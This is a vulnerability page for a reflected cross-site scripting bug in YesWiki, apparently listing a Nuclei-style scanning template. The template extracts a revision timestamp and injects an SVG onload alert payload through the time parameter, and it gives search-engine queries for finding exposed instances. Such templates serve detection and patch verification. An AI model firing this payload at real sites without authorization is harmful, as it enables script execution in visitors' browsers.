CVE-2026-52773: YesWiki Archived Revision - Cross-Site Scripting

2026-07-31 YesWiki PoC Public

Description

YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.

PoC

id: CVE-2026-52773

info:
  name: YesWiki Archived Revision - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52773
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52773
    epss-score: 0.00478
    epss-percentile: 0.4016
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale/revisions"
      - "{{BaseURL}}/?GererSite/revisions"

    matchers:
      - type: word
        part: body
        words:
          - ""time""
        internal: true

    extractors:
      - type: regex
        name: timestamp
        part: body
        internal: true
        group: 1
        regex:
          - '"time":"(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})"'

  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
      - "{{BaseURL}}/?GererSite&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><svg onload=alert(document.domain)>'
          - 'name="time"'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e7ae12bd2debb88ae35cf33e9a712b97174a217fba017d5f5889b525b69de04c022100c82d563e4ea864fa1ed3dc0f9382c91b6a217dbd25e6621dcf8a33f0459a95b3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities